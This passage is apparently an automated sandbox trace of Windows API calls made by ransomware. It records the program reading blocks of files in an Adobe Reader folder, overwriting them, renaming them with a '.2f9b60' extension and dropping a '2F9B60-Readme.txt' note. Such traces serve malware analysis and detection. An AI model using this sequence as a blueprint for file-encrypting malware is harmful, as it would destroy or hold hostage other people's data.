Seed=0x3432f8e0) returned 0x4c4cfdeb [0151.681] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x7b10f792 [0151.681] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x1a02f90a [0151.681] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0xf327181 [0151.681] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x7b8473e8 [0151.682] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x470c4c81 [0151.682] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x6b90d7f3 [0151.682] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x1e24fe52 [0151.682] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x4d760200 [0151.682] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x47b92b18 [0151.682] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x7490f7c1 [0151.682] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x76ef9195 [0151.682] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x2d2a9b89 [0151.682] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x13ea56d0 [0151.682] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x7ce31a6d [0151.682] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x7b6d115 [0151.682] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x79b177a4 [0151.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffd20 [0151.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8697c0 [0151.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffd50 [0151.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8697c0) returned 1 [0151.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffcf0) returned 1 [0151.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f250) returned 1 [0151.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42535d20 [0151.694] SetFilePointerEx (in: hFile=0x2564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.694] ReadFile (in: hFile=0x2564, lpBuffer=0x42535d20, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3432f950, lpOverlapped=0x0 | out: lpBuffer=0x42535d20*, lpNumberOfBytesRead=0x3432f950*=0x3c00, lpOverlapped=0x0) returned 1 [0151.709] SetFilePointerEx (in: hFile=0x2564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058970 [0151.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8697c0 [0151.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffd80 [0151.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffd80) returned 1 [0151.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42541150 [0151.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffd80 [0151.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffdb0 [0151.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffdb0) returned 1 [0151.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8697c0) returned 1 [0151.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058970) returned 1 [0151.711] WriteFile (hFile=0x2564, lpBuffer=0x42541150, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3432f950, lpOverlapped=0x0) [0186.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42541150) returned 1 [0186.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42535d20) returned 1 [0186.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x422f3880 [0186.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058970 [0186.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8697c0 [0186.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ab10 [0186.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ab10) returned 1 [0186.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82ab10 [0186.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859820 [0186.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859850 [0186.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859850) returned 1 [0186.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8697c0) returned 1 [0186.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058970) returned 1 [0186.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x43104940 [0186.787] SetFilePointerEx (in: hFile=0x2564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.787] WriteFile (in: hFile=0x2564, lpBuffer=0x43104940*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3432fa00, lpOverlapped=0x0 | out: lpBuffer=0x43104940*, lpNumberOfBytesWritten=0x3432fa00*=0x108, lpOverlapped=0x0) returned 1 [0213.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0213.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061a30 [0213.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267950 [0213.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267950) returned 1 [0213.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0213.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267950 [0213.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202678f0 [0213.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202678f0) returned 1 [0213.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061a30) returned 1 [0213.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0213.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x431acc20 [0213.730] sprintf (in: _Dest=0x431acc20, _Format="%c%c" | out: _Dest="d5") returned 2 [0213.730] sprintf (in: _Dest=0x431acc22, _Format="%c%c" | out: _Dest="a2") returned 2 [0213.730] sprintf (in: _Dest=0x431acc24, _Format="%c%c" | out: _Dest="97") returned 2 [0213.730] sprintf (in: _Dest=0x431acc26, _Format="%c%c" | out: _Dest="c2") returned 2 [0213.730] sprintf (in: _Dest=0x431acc28, _Format="%c%c" | out: _Dest="95") returned 2 [0213.730] sprintf (in: _Dest=0x431acc2a, _Format="%c%c" | out: _Dest="51") returned 2 [0213.730] sprintf (in: _Dest=0x431acc2c, _Format="%c%c" | out: _Dest="3a") returned 2 [0213.730] sprintf (in: _Dest=0x431acc2e, _Format="%c%c" | out: _Dest="82") returned 2 [0213.730] sprintf (in: _Dest=0x431acc30, _Format="%c%c" | out: _Dest="a0") returned 2 [0213.730] sprintf (in: _Dest=0x431acc32, _Format="%c%c" | out: _Dest="9c") returned 2 [0213.730] sprintf (in: _Dest=0x431acc34, _Format="%c%c" | out: _Dest="14") returned 2 [0213.730] sprintf (in: _Dest=0x431acc36, _Format="%c%c" | out: _Dest="e5") returned 2 [0213.730] sprintf (in: _Dest=0x431acc38, _Format="%c%c" | out: _Dest="81") returned 2 [0213.730] sprintf (in: _Dest=0x431acc3a, _Format="%c%c" | out: _Dest="f5") returned 2 [0213.730] sprintf (in: _Dest=0x431acc3c, _Format="%c%c" | out: _Dest="c8") returned 2 [0213.730] sprintf (in: _Dest=0x431acc3e, _Format="%c%c" | out: _Dest="9b") returned 2 [0213.730] sprintf (in: _Dest=0x431acc40, _Format="%c%c" | out: _Dest="ac") returned 2 [0213.730] sprintf (in: _Dest=0x431acc42, _Format="%c%c" | out: _Dest="0b") returned 2 [0213.730] sprintf (in: _Dest=0x431acc44, _Format="%c%c" | out: _Dest="6b") returned 2 [0213.730] sprintf (in: _Dest=0x431acc46, _Format="%c%c" | out: _Dest="43") returned 2 [0213.730] sprintf (in: _Dest=0x431acc48, _Format="%c%c" | out: _Dest="23") returned 2 [0213.730] sprintf (in: _Dest=0x431acc4a, _Format="%c%c" | out: _Dest="c8") returned 2 [0213.730] RtlInitAnsiString (in: DestinationString=0x3432fa78, SourceString="d5a297c295513a82a09c14e581f5c89bac0b6b4323c8" | out: DestinationString="d5a297c295513a82a09c14e581f5c89bac0b6b4323c8") [0213.730] RtlAnsiStringToUnicodeString (in: DestinationString=0x3432fa48, SourceString="d5a297c295513a82a09c14e581f5c89bac0b6b4323c8", AllocateDestinationString=1 | out: DestinationString="d5a297c295513a82a09c14e581f5c89bac0b6b4323c8") returned 0x0 [0213.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x4319fc90 [0213.731] wcscat (in: _Dest=0x1cd64c60, _Source="d5a297c2955" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\d5a297c2955") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\d5a297c2955" [0213.731] wcscat (in: _Dest=0x1cd64c60, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\d5a297c2955.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\d5a297c2955.2f9b60" [0213.731] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\d5a297c2955.2f9b60", NtPathName=0x3432fa20, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\d5a297c2955.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0213.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205f6a0 [0216.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205f6a0) returned 1 [0216.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b1970) returned 1 [0216.214] NtQueryInformationFile (in: FileHandle=0x2564, IoStatusBlock=0x3432fa88, FileInformation=0x3432fa98, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3432fa88, FileInformation=0x3432fa98) returned 0x0 [0216.214] NtSetInformationFile (FileHandle=0x2564, IoStatusBlock=0x3432fa88, FileInformation=0x3432fa98, Length=0x28, FileInformationClass=0x4) returned 0x0 [0219.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64c60) returned 1 [0219.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319fc90) returned 1 [0219.407] FlushFileBuffers (hFile=0x2564) returned 1 [0221.372] CloseHandle (hObject=0x2564) returned 1 [0222.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1ce16500 [0222.831] wcscpy (in: _Dest=0x1ce16500, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\" [0222.831] wcscat (in: _Dest=0x1ce16500, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\2F9B60-Readme.txt" [0222.831] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\2f9b60-readme.txt")) returned 0xffffffff [0222.832] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8c [0224.382] WriteFile (in: hFile=0x2e8c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3432f940, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3432f940*=0xba9, lpOverlapped=0x0) returned 1 [0225.112] CloseHandle (hObject=0x2e8c) returned 1 [0226.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce16500) returned 1 [0226.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d910) returned 1 [0226.513] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1cd9a7d0 | out: lpFindFileData=0x1cd9a7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11581, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0226.513] wcscmp (_String1="DefaultID.pdf", _String2=".") returned 1 [0226.513] wcscmp (_String1="DefaultID.pdf", _String2="..") returned 1 [0226.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce16500 [0226.513] wcscpy (in: _Dest=0x1ce16500, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT" [0226.513] wcscat (in: _Dest=0x1ce16500, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\" [0226.513] wcscat (in: _Dest=0x1ce16500, _Source="DefaultID.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\DefaultID.pdf" [0227.267] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\defaultid.pdf")) returned 0x20 [0227.268] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\DefaultID.pdf", dwFileAttributes=0x20) returned 1 [0227.268] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\defaultid.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2a68 [0227.269] GetFileSizeEx (in: hFile=0x2a68, lpFileSize=0x3432fa30 | out: lpFileSize=0x3432fa30*=71041) returned 1 [0227.269] SetFilePointerEx (in: hFile=0x2a68, liDistanceToMove=0x1157d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.269] ReadFile (in: hFile=0x2a68, lpBuffer=0x3432f9b0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3432f9f8, lpOverlapped=0x0 | out: lpBuffer=0x3432f9b0*, lpNumberOfBytesRead=0x3432f9f8*=0x4, lpOverlapped=0x0) returned 1 [0227.304] SetFilePointerEx (in: hFile=0x2a68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265070 [0227.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265100 [0227.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267470 [0227.305] NtQuerySystemTime (in: CurrentTime=0x3432f8f0 | out: CurrentTime=0x3432f8f0*=132462178312930000) returned 0x0 [0227.305] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x257e5689 [0227.305] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x698769e8 [0227.305] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x6eaf1fd3 [0227.305] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x5cf96a15 [0227.305] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x2baa477b [0227.305] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x42f35703 [0227.305] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x73e589be [0227.305] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x3ed847a0 [0227.305] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x7d1a9fba [0227.305] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x204b8cc9 [0227.305] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x25c7a472 [0227.305] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x6e6dc9bc [0227.305] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x2b4be868 [0227.305] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x58ddf8f3 [0227.305] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x57f66fba [0227.305] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0xcc68e23 [0227.305] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x38c0fa98 [0227.305] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x3eb34d1b [0227.305] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x526d76d2 [0227.305] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x228ec70d [0227.305] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x3f985f0 [0227.305] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x18eda65a [0227.306] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x50c1079b [0227.306] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x26e610c [0227.306] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x6e585f75 [0227.306] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x17103452 [0227.306] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x5269faab [0227.306] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x1f0ecdbb [0227.306] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x27d8d527 [0227.306] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x3dc9497a [0227.306] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x13b2d732 [0227.306] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x63a4dd76 [0227.306] SetFilePointerEx (in: hFile=0x2a68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.306] ReadFile (in: hFile=0x2a68, lpBuffer=0x42439930, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3432f950, lpOverlapped=0x0 | out: lpBuffer=0x42439930*, lpNumberOfBytesRead=0x3432f950*=0x3c00, lpOverlapped=0x0) returned 1 [0229.657] SetFilePointerEx (in: hFile=0x2a68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0229.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24520 [0229.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31580 [0229.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31580) returned 1 [0229.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fcc1b0 [0229.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31580 [0229.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31520 [0229.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31520) returned 1 [0229.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24520) returned 1 [0229.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0229.660] WriteFile (in: hFile=0x2a68, lpBuffer=0x41fcc1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3432f950, lpOverlapped=0x0 | out: lpBuffer=0x41fcc1b0*, lpNumberOfBytesWritten=0x3432f950*=0x3c00, lpOverlapped=0x0) returned 1 [0239.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fcc1b0) returned 1 [0239.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42439930) returned 1 [0239.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x4313b230 [0239.141] SetFilePointerEx (in: hFile=0x2a68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0239.141] WriteFile (in: hFile=0x2a68, lpBuffer=0x42c14750*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3432fa00, lpOverlapped=0x0 | out: lpBuffer=0x42c14750*, lpNumberOfBytesWritten=0x3432fa00*=0x10c, lpOverlapped=0x0) returned 1 [0242.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62640 [0242.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba160 [0242.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2ab0 [0242.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2ab0) returned 1 [0242.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cdb2ab0 [0242.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0e30 [0242.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0e60 [0242.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0e60) returned 1 [0242.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba160) returned 1 [0242.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62640) returned 1 [0242.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x431ad7e0 [0242.074] sprintf (in: _Dest=0x431ad7e0, _Format="%c%c" | out: _Dest="ec") returned 2 [0242.074] sprintf (in: _Dest=0x431ad7e2, _Format="%c%c" | out: _Dest="91") returned 2 [0242.074] sprintf (in: _Dest=0x431ad7e4, _Format="%c%c" | out: _Dest="d3") returned 2 [0242.074] sprintf (in: _Dest=0x431ad7e6, _Format="%c%c" | out: _Dest="f4") returned 2 [0242.075] sprintf (in: _Dest=0x431ad7e8, _Format="%c%c" | out: _Dest="f9") returned 2 [0242.075] sprintf (in: _Dest=0x431ad7ea, _Format="%c%c" | out: _Dest="22") returned 2 [0242.075] sprintf (in: _Dest=0x431ad7ec, _Format="%c%c" | out: _Dest="2b") returned 2 [0242.075] sprintf (in: _Dest=0x431ad7ee, _Format="%c%c" | out: _Dest="09") returned 2 [0242.075] sprintf (in: _Dest=0x431ad7f0, _Format="%c%c" | out: _Dest="bd") returned 2 [0242.075] sprintf (in: _Dest=0x431ad7f2, _Format="%c%c" | out: _Dest="cc") returned 2 [0242.075] sprintf (in: _Dest=0x431ad7f4, _Format="%c%c" | out: _Dest="a6") returned 2 [0242.075] sprintf (in: _Dest=0x431ad7f6, _Format="%c%c" | out: _Dest="88") returned 2 [0242.075] sprintf (in: _Dest=0x431ad7f8, _Format="%c%c" | out: _Dest="e5") returned 2 [0242.075] sprintf (in: _Dest=0x431ad7fa, _Format="%c%c" | out: _Dest="b7") returned 2 [0242.075] sprintf (in: _Dest=0x431ad7fc, _Format="%c%c" | out: _Dest="93") returned 2 [0242.075] sprintf (in: _Dest=0x431ad7fe, _Format="%c%c" | out: _Dest="da") returned 2 [0242.075] sprintf (in: _Dest=0x431ad800, _Format="%c%c" | out: _Dest="ca") returned 2 [0242.075] sprintf (in: _Dest=0x431ad802, _Format="%c%c" | out: _Dest="6d") returned 2 [0242.075] sprintf (in: _Dest=0x431ad804, _Format="%c%c" | out: _Dest="3c") returned 2 [0242.075] sprintf (in: _Dest=0x431ad806, _Format="%c%c" | out: _Dest="84") returned 2 [0242.075] sprintf (in: _Dest=0x431ad808, _Format="%c%c" | out: _Dest="db") returned 2 [0242.075] sprintf (in: _Dest=0x431ad80a, _Format="%c%c" | out: _Dest="e2") returned 2 [0242.075] sprintf (in: _Dest=0x431ad80c, _Format="%c%c" | out: _Dest="47") returned 2 [0242.075] sprintf (in: _Dest=0x431ad80e, _Format="%c%c" | out: _Dest="22") returned 2 [0242.075] sprintf (in: _Dest=0x431ad810, _Format="%c%c" | out: _Dest="f3") returned 2 [0242.075] sprintf (in: _Dest=0x431ad812, _Format="%c%c" | out: _Dest="ec") returned 2 [0242.075] RtlInitAnsiString (in: DestinationString=0x3432fa78, SourceString="ec91d3f4f9222b09bdcca688e5b793daca6d3c84dbe24722f3ec" | out: 